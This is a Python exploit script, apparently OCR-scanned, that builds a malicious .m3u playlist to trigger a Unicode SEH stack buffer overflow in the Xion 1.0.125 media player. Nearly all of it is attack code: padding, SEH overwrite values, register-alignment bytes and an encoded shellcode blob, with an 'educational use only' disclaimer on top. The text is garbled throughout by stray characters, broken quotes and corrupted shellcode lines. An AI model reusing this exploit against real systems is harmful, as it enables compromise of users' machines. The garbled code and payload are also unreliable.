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#!/usr/bin/python
HUHHHHHH R R R S R S
Title: Xion 1.0.125 Stack Buffer Overflow
Date: August 13, 2010
Author: corelanc0d3r and dijitall
Grtz to dijitall : I had a lot of fun working with
you on this one ! :)
Grtz to dookie2000ca :)
Original Advisory: http://www.exploit-db.com/exploits/14517 (hadji
samir)
Platform: Windows XP SP3 En Professional - VirtualBox
Greetz to: Corelan Security Team
http://www.corelan.be:8800/index.php/security/corelan-team-members/
HHHHHHHH RS S S R
Script provided 'as is', without any warranty.
Use for educational purposes only.
Do not use this code to do anything illegal !
Corelan does not want anyone to use this script
for malicious and/or illegal purposes
Corelan cannot be held responsible for any illegal use.

#
#
#
#
#
#
#
#

Note : you are not allowed to edit/modify this code.
If you do, Corelan cannot be held responsible for any damages this may
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print “| security@corelan.pe
|II

print "|

|II

print M| ------ie i - [ EIP Hunters ]--
|II

print " -= Exploit for Xion 1.0.125 - Unicode (SEH) - corelanc0d3r =-"
print ""

print " [+] Preparing payload..."
outputfile="corelanc0d3r.m3u"
offset _to nseh=250 #affected by the m3u path length !
junk = "A" * offset to nseh
nseh="\x41\x45"
seh="\x93\x47" #Unicode conversion : 0x0047201C => mov eax,esi + ppr
junk2="\x45"
align="\x55" #push ebp
align=align+"\x6d" #pad (ebp is writable)
align=align+"\x58" #pop eax
align=align+"\x6d"
align=align+"\x05\x25\x11"
align=align+"\x6d"
align=align+"\x2d\x11\x11"
align=align+"\x6d"
align=align+"\x50\x6d\xc3" #go!
align=align+"1"*56
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#msgbox

shellcode="PPYAIAIAIAIAIAIATATATATIAIAIAIAIA]jXAQADAZABARALAYAIAQAIAQAIAhAAAZIA
shellcode+="ATIAJ11ATIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABKMAGBOu4JBhYzKskhY
shellcode+="4nDJTLg6rfRajNQuy0tTKQaPOTKt6LLTKQfk12koVIh4K3NOO2kOFOHpOKhruJS29
shellcode+="axQy08asODKOINDKtDKOUMLBkntKUghKQxjBkmzJIxdKQJKpkQzKgsP7MyDK1tDKja
shellcode+="NLgk0017PKLVL2dGPQdKZWQ601MkQI7x1zQ90yoKOOKSLktmX45GnDKQJkt jaHkpf

shellcode+="KLLOKrkNzMLiqZKBkyt4KM1iX2iMtKtklogqVcVRIHNIhT3YHelywRoxdNNnZnJLr2|

shellcode+="x5LK0IoKOqymuitEkSNvxgrd357KlktobYXDKIokOKOu9oUyxOhplploOyoQXNSoB
shellcode+="nC4QXPupsS52R58aLMT1IqyJFR6K0aEKTqyWRBO7KUXW2NmwLDGMLktpRWXxQNKOKkO
shellcode+="0rHnxKpo®KpphlDS5s1BMphplclPnmPoxpCrOprpeNQIKDHO1ktZ14IK3aXrRNxMP
shellcode+="00xbCNPOtMcQXREp10gpn38mPOsPobRQXbDKps2RYOhNoD7pn35May9sXPL04ju2i
shellcode+="QNQyBob0cnqQB908PNQYOOPIoPUyxKZA"

junk3="\x49"*2550

payload=junk+nseh+seh+junk2+align+shellcode+junk3

print " [+] Writing payload to file "+outputfile+" (" + str(len(payload))+"
bytes)"

FILE = open(outputfile, "w")

FILE write(payload)

FILE.close()

print " [+] Done"
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